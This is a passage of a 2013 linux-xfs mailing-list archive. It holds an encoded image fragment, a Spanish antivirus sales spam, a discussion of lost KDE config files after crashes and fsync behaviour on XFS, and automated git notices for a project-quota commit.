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 ------=SPLITOR00A_001_132841876D-- From ksuarez@cosimti.com Thu Jul 11 15:10:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C4D07F3F for ; Thu, 11 Jul 2013 15:10:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 09C908F8059 for ; Thu, 11 Jul 2013 13:10:12 -0700 (PDT) X-ASG-Debug-ID: 1373573411-04cbb04691e0e0e0001-w1Z2WR Received: from server.massmailing.com (server.mubbox.net [108.178.45.107]) by cuda.sgi.com with ESMTP id VzgqQDQvWKxSF70q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 13:10:11 -0700 (PDT) X-Barracuda-Envelope-From: ksuarez@cosimti.com X-Barracuda-Apparent-Source-IP: 108.178.45.107 Received: from [190.129.200.107] (port=25747 helo=Desarrollo03) by server.massmailing.com with esmtpa (Exim 4.80.1) (envelope-from ) id 1UxNJ5-0007AB-OM for linux-xfs@oss.sgi.com; Fri, 12 Jul 2013 00:17:40 +0400 Organization: Cosim TI Reply-To: ksuarez@cosimti.com Message-ID: From: "Karen Suarez" To: Subject: Avira Antivirus en Oferta Date: Thu, 11 Jul 2013 15:53:23 -0400 X-ASG-Orig-Subj: Avira Antivirus en Oferta MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: base64 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server.massmailing.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - cosimti.com X-Get-Message-Sender-Via: server.massmailing.com: authenticated_id: massmail/only user confirmed/virtual account not confirmed X-Barracuda-Connect: server.mubbox.net[108.178.45.107] X-Barracuda-Start-Time: 1373573411 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136481 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- QnVlbm9zIERpYXMsDQogDQpDb3NpbSBUSSh3d3cuY29zaW10aS5jb20pLCBlbXByZXNhIGxpZGVy IGVuIHNlZ3VyaWRhZCBkZSBsYSBpbmZvcm1hY2lvbiwgY29uDQptYXMgZGUgMTQgYfFvcyBlbiBl bCBuZWdvY2lvLCBhaG9yYSBjdWVudGEgY29uIGxhIHJlcHJlc2VudGFjaW9uIGRlbA0KQW50aXZp cnVzIEF2aXJhIGVuIEJvbGl2aWEuLi4NCiANCkxlIG1hbmRvIGVzdGUgbWFpbCBwYXJhIGhhY2Vy bGUgY29ub2NlciBsb3MgcGFxdWV0ZXMgQXZpcmEgQW50aXZpcnVzLCBwYXJhDQplbXByZXNhIHBl cXVl8WFzLCBtZWRpYW5hcyB5IGdyYW5kZXMuDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIA0KU2kgZGVzZWEgcXVlIGxlIGVudmllbW9z IHVuYSBjb3RpemFjaW9uLCBmYXZvciBlbnZpZW5vcyBsb3Mgc2lndWllbnRlcw0KZGF0b3M6DQog DQogLSBOb21icmUgbyBFbXByZXNhDQogLSBDYW50aWRhZCBkZSBwY3MgYSBwcm90ZWdlcg0KIC0g VGlwbyBkZSBFbXByZXNhIChFbiBjYXNvIGRlIHNlciBwYXJhIGVtcHJlc2EpDQogLSBUZWxlZm9u byBtb3ZpbCBvIGZpam8uDQogDQpFLU1haWw6IGtzdWFyZXpAY29zaW10aS5jb20NCiANCi0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpQYXF1 ZXRlcyBFbXByZXNhcmlhbGVzIEF2aXJhIEFudGl2aXJ1czoNCi0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogLSBBdmlyYSBQcmVtaXVtIChQ YXJhIFBjcyBwZXJzb25hbGVzKQ0KICANCiAtIEF2aXJhIEVuZHBvaW50IFNlY3VyaXR5Og0KIA0K ICAqIEF2aXJhIFByb2Zlc3Npb25hbC4tIFNlZ3VyaWRhZCBwYXJhIFBjJ3MgY2xpZW50ZXMuDQog ICogQXZpcmEgU2VydmVyLi0gU2VndXJpZGFkIHBhcmEgU2Vydmlkb3IgZGUgQXJjaGl2b3MNCiAg KiBBdmlyYSBTeXN0ZW0gTWFuYWdlbWVudCBDZW50ZXIoU01DKS4tIEFkbWluaXN0cmFjaW9uIENl bnRyYWxpemFkYS4NCiANCiAtIEF2aXJhIE5ldGdhdGUgQnVuZGxlOg0KICANCiAgKiBBdmlyYSBQ cm9mZXNzaW9uYWwuLSBTZWd1cmlkYWQgcGFyYSBQYydzIGNsaWVudGVzLg0KICAqIEF2aXJhIFNl cnZlci4tIFNlZ3VyaWRhZCBwYXJhIFNlcnZpZG9yIGRlIEFyY2hpdm9zDQogICogQXZpcmEgU3lz dGVtIE1hbmFnZW1lbnQgQ2VudGVyKFNNQykuLSBBZG1pbmlzdHJhY2lvbiBDZW50cmFsaXphZGEu DQogICogQXZpcmEgQW50aVZpciBNYWlsR2F0ZSAtIGxhIHByb3RlY2Npw7NuIHBlcmZlY3RhIHBh cmEgZW1haWxzIGRpcmVjdGFtZW50ZSBlbiBlbCBnYXRld2F5DQogICogQXZpcmEgQW50aVZpciBX ZWJHYXRlIC0gYXNlZ3VyYSBsYSB0cmFuc2ZlcmVuY2lhIGRlIGRhdG9zIGRlc2RlIEludGVybmV0 DQogDQogLSBBdmlyYSBCdXNpbmVzcyBCdW5kbGUgKEEgcGFydGlyIGRlIDEwMCBsaWNlbmNpYXMp DQogIA0KICAqIEF2aXJhIFByb2Zlc3Npb25hbC4tIFNlZ3VyaWRhZCBwYXJhIFBjJ3MgY2xpZW50 ZXMuDQogICogQXZpcmEgU2VydmVyLi0gU2VndXJpZGFkIHBhcmEgU2Vydmlkb3IgZGUgQXJjaGl2 b3MNCiAgKiBBdmlyYSBTeXN0ZW0gTWFuYWdlbWVudCBDZW50ZXIoU01DKS4tIEFkbWluaXN0cmFj aW9uIENlbnRyYWxpemFkYS4NCiAgKiBBdmlyYSBBbnRpVmlyIEV4Y2hhbmdlIFNlcnZlciBpbmts LiBBbnRpU3BhbSAtIGxhIHByb3RlY2Npw7NuIHBlcmZlY3RhIA0KICBwYXJhIGVtYWlscyBkaXJl Y3RhbWVudGUgZW4gZWwgZ2F0ZXdheQ0KICANCiAtIEF2aXJhIENhbXB1cyAoUGFyYSBVbml2ZXJz aWRhZGVzIHkgQ29sZWdpb3MpDQogDQogICogQXZpcmEgQW50aVZpciBQcm9mZXNzaW9uYWwgKFdp bmRvd3MgeSBVbml4KQ0KICAqIEF2aXJhIEFudGlWaXIgU2VydmVyIChXaW5kb3dzIHkgVW5peCkN CiAgKiBBdmlyYSBBbnRpVmlyIE1haWxHYXRlIChVbml4KQ0KICAqIEF2aXJhIEFudGlWaXIgV2Vi R2F0ZSAoVW5peCkNCiAgKiBBdmlyYSBTZWN1cml0eSBNYW5hZ2VtZW50IENlbnRlcg0KICAqIEF2 aXJhIEFudGlWaXIgTW9iaWxlDQogICogT3B0aW9uYWw6IEF2aXJhIEFudGlWaXIgRXhjaGFuZ2Ug aW5rbC4gQXZpcmEgQW50aVNwYW0NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiANClNpIGRlc2VhIHF1ZSBsZSBl bnZpZW1vcyB1bmEgY290aXphY2lvbiwgZmF2b3IgZW52aWVub3MgbG9zIHNpZ3VpZW50ZXMNCmRh dG9zOg0KIA0KIC0gTm9tYnJlIGRlIHN1IGVtcHJlc2ENCiAtIENhbnRpZGFkIGRlIGxpY2VuY2lh cw0KIC0gUXVlIGRlc2VhIHByb3RlZ2VyPyAoU2Vydmlkb3IgZGUgQ29ycmVvLFNlcnZpZG9yIFdl YixTZXJ2aWRvciBkZQ0KIEFyY2hpdm9zLCBQYycgQ2xpZW50ZXMsKQ0KIA0KUGFyYSBjdWFscXVp ZXIgZHVkYSBvIGNvbnN1bHRhLCBjb250YWN0ZW5vcyBhIGxhIHNpZ3VpZW50ZXMgZGlyZWNjaW9u ZXMgcXVlDQphcGFyZWNlbi4NCiANClNhbHVkb3MgQ29yZGlhbGVzDQogDQpLYXJlbiBTdWFyZXoN CkFzaXN0ZW50ZSBkZSBWZW50YXMNCkUtTWFpbDoga3N1YXJlekBjb3NpbXRpLmNvbQ0KVGVsZjog KDU5MSkoMykzMjAxMzk1LiBDZWw6IDcwODY1MzE5DQpXZWI6IHd3dy5jb3NpbXRpLmNvbQ0KRGly ZWNjaW9uOiBBdi4gUm9jYSB5IENvcm9uYWRvIGNhbGxlIHNpcmlvbm8gIzI1MCAoZnJlbnRlIGZl eHBvY3J1eikNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NClNpIGRlc2VhIHF1aXRhciBzdSBlLW1haWwgZGUgbnVl c3RyYXMgbGlzdGFzLCBlbnZpZSB1biBtZW5zYWplIGENCnF1aXRhckBjb3NpbXRpLmNvbSBjb24g ZWwgYXN1bnRvIFFVSVRBUiBESVJFQ0NJT04uDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0t From stan@hardwarefreak.com Thu Jul 11 15:24:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 724FD7F3F for ; Thu, 11 Jul 2013 15:24:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F1ABFAC006 for ; Thu, 11 Jul 2013 13:24:01 -0700 (PDT) X-ASG-Debug-ID: 1373574240-04cbb04691e0f280001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id JqMs4vfMSbmWKMql for ; Thu, 11 Jul 2013 13:24:01 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CDC7E6C173; Thu, 11 Jul 2013 15:24:00 -0500 (CDT) Message-ID: <51DF1463.1070603@hardwarefreak.com> Date: Thu, 11 Jul 2013 15:24:03 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Markus Trippelsdorf CC: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> <20130711112826.GA363@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang In-Reply-To: <20130711112826.GA363@x4> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373574240 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/11/2013 6:28 AM, Markus Trippelsdorf wrote: ... >> Looking at the source: >> http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 >> it appears that one can set an environment variable KDE_EXTRA_FSYNC to >> address this issue. >> >> However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still >> loose my KDE settings in case of a crash. So the whole fsync thing might >> be a red herring. > > It turned out that the KDE_EXTRA_FSYNC variable doesn't affect KDE > config file handling at all. > So I've added an fsync in kconfigini.cpp (KConfigIniBackend::writeConfig) > and now I don't loose my settings anymore during kernel crash testing. > > That is until xfs eats my KDE config files (kwinrulesr in this case): Adding fsync in kconfigini.cpp apparently doesn't force fsync for all KDE file operations. You also have some Open Office files getting hosed due to lack of fsync. XFS is not the cause of these problems. The problem is that all of this desktop code was developed atop EXT3 which flushed to disk every 5 seconds. This made programmers sloppy as they didn't have to fsync to make sure data hit disk. This problem has been covered extensively by many, including Eric in other posts on his blog. There's a really simple way to test this: mount with sync. Report results after the next crash. If no files are corrupted then you've verified the problem lay squarely on the shoulders of these desktop developers who have abdicated their responsibility to make sure their file changes hit the disk, instead of relying on a broken filesystem do it for them. Worth noting, using EXT4 without the EXT3 flush emulation enabled will yield similar file corruption upon a crash. -- Stan From markus@trippelsdorf.de Thu Jul 11 15:40:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F6C07F3F for ; Thu, 11 Jul 2013 15:40:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7BDE4304039 for ; Thu, 11 Jul 2013 13:40:36 -0700 (PDT) X-ASG-Debug-ID: 1373575234-04cb6c2a46b66970001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id sRxQVwGLeFemF0AF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 13:40:34 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=v6zRFQrHDD/CbhHE3/2Rqc7OVF 24NT1YQzsmzROsltY=; b=BjAHxOJgpetwQd6lC5UgsYUEUdyL7btaOoQ9NFQADW PVrLbv44LpfGZJxW/j6AaiaIjX/sI5NZGAoVM2VjmEraREk4zT+d1RvquLH7qBhx 9IBdy+I54GmHAjjYYIFKd3dLGYU5iNltk5COQ16ZdcIVf8Y6Z0MrjW3f7+aWya+g Y= Received: (qmail 22863 invoked from network); 11 Jul 2013 22:40:33 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 11 Jul 2013 22:40:33 +0200 Date: Thu, 11 Jul 2013 22:40:33 +0200 From: Markus Trippelsdorf To: Stan Hoeppner Cc: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711204033.GA355@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> <20130711112826.GA363@x4> <51DF1463.1070603@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DF1463.1070603@hardwarefreak.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373575234 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136483 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.11 at 15:24 -0500, Stan Hoeppner wrote: > On 7/11/2013 6:28 AM, Markus Trippelsdorf wrote: > ... > >> Looking at the source: > >> http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > >> it appears that one can set an environment variable KDE_EXTRA_FSYNC to > >> address this issue. > >> > >> However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > >> loose my KDE settings in case of a crash. So the whole fsync thing might > >> be a red herring. > > > > It turned out that the KDE_EXTRA_FSYNC variable doesn't affect KDE > > config file handling at all. > > So I've added an fsync in kconfigini.cpp (KConfigIniBackend::writeConfig) > > and now I don't loose my settings anymore during kernel crash testing. > > > > That is until xfs eats my KDE config files (kwinrulesr in this case): > > Adding fsync in kconfigini.cpp apparently doesn't force fsync for all > KDE file operations. You also have some Open Office files getting hosed > due to lack of fsync. XFS is not the cause of these problems. > > The problem is that all of this desktop code was developed atop EXT3 > which flushed to disk every 5 seconds. This made programmers sloppy as > they didn't have to fsync to make sure data hit disk. This problem has > been covered extensively by many, including Eric in other posts on his > blog. There's a really simple way to test this: mount with sync. > Report results after the next crash. If no files are corrupted then > you've verified the problem lay squarely on the shoulders of these > desktop developers who have abdicated their responsibility to make sure > their file changes hit the disk, instead of relying on a broken > filesystem do it for them. > > Worth noting, using EXT4 without the EXT3 flush emulation enabled will > yield similar file corruption upon a crash. I'm not so sure. Of course a journaled filesystem is not a database replacement, but wouldn't it be easier to address this issue in xfs directly instead of hoping in vain that application developers will fix their code someday? -- Markus From bpm@oss.sgi.com Thu Jul 11 15:54:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id C5E037F4E; Thu, 11 Jul 2013 15:54:55 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-8-g92f8ff7 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 42c49d7f249c2487f36d3314753d5d8ebcee8249 X-Git-Newrev: 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 Message-Id: <20130711205455.C5E037F4E@oss.sgi.com> Date: Thu, 11 Jul 2013 15:54:55 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 92f8ff7 xfs: Add pquota fields where gquota is used. from 42c49d7f249c2487f36d3314753d5d8ebcee8249 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 Author: Chandra Seetharaman Date: Thu Jul 11 00:00:40 2013 -0500 xfs: Add pquota fields where gquota is used. Add project quota changes to all the places where group quota field is used: * add separate project quota members into various structures * split project quota and group quotas so that instead of overriding the group quota members incore, the new project quota members are used instead * get rid of usage of the OQUOTA flag incore, in favor of separate group and project quota flags. * add a project dquot argument to various functions. Not using the pquotino field from superblock yet. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dquot.c | 15 ++- fs/xfs/xfs_dquot.h | 7 +- fs/xfs/xfs_icache.c | 1 + fs/xfs/xfs_inode.h | 1 + fs/xfs/xfs_ioctl.c | 14 +-- fs/xfs/xfs_iops.c | 4 +- fs/xfs/xfs_qm.c | 243 +++++++++++++++++++++++++++++++++-------------- fs/xfs/xfs_qm.h | 20 ++-- fs/xfs/xfs_qm_bhv.c | 10 +- fs/xfs/xfs_qm_syscalls.c | 19 +++- fs/xfs/xfs_quota.h | 32 ++++--- fs/xfs/xfs_symlink.c | 10 +- fs/xfs/xfs_trans_dquot.c | 26 ++++- fs/xfs/xfs_vnodeops.c | 13 ++- 14 files changed, 291 insertions(+), 124 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Thu Jul 11 15:55:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id C9B077F52; Thu, 11 Jul 2013 15:55:33 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-8-g92f8ff7 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 42c49d7f249c2487f36d3314753d5d8ebcee8249 X-Git-Newrev: 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 Message-Id: <20130711205533.C9B077F52@oss.sgi.com> Date: Thu, 11 Jul 2013 15:55:33 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 92f8ff7 xfs: Add pquota fields where gquota is used. from 42c49d7f249c2487f36d3314753d5d8ebcee8249 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 92f8ff73f18672b03ec8b92197cdddf2b5de7ea0 Author: Chandra Seetharaman Date: Thu Jul 11 00:00:40 2013 -0500 xfs: Add pquota fields where gquota is used. Add project quota changes to all the places where group quota field is used: * add separate project quota members into various structures * split project quota and group quotas so that instead of overriding the group quota members incore, the new project quota members are used instead * get rid of usage of the OQUOTA flag incore, in favor of separate group and project quota flags. * add a project dquot argument to various functions. Not using the pquotino field from superblock yet. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dquot.c | 15 ++- fs/xfs/xfs_dquot.h | 7 +- fs/xfs/xfs_icache.c | 1 + fs/xfs/xfs_inode.h | 1 + fs/xfs/xfs_ioctl.c | 14 +-- fs/xfs/xfs_iops.c | 4 +- fs/xfs/xfs_qm.c | 243 +++++++++++++++++++++++++++++++++-------------- fs/xfs/xfs_qm.h | 20 ++-- fs/xfs/xfs_qm_bhv.c | 10 +- fs/xfs/xfs_qm_syscalls.c | 19 +++- fs/xfs/xfs_quota.h | 32 ++++--- fs/xfs/xfs_symlink.c | 10 +- fs/xfs/xfs_trans_dquot.c | 26 ++++- fs/xfs/xfs_vnodeops.c | 13 ++- 14 files changed, 291 insertions(+), 124 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Thu Jul 11 16:16:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D3C5D7F3F for ; Thu, 11 Jul 2013 16:16:14 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0500AAC002; Thu, 11 Jul 2013 14:16:11 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B6D75500B4B; Thu, 11 Jul 2013 16:16:10 -0500 (CDT) Date: Thu, 11 Jul 2013 16:16:10 -0500 From: Ben Myers To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Message-ID: <20130711211610.GC20932@sgi.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> 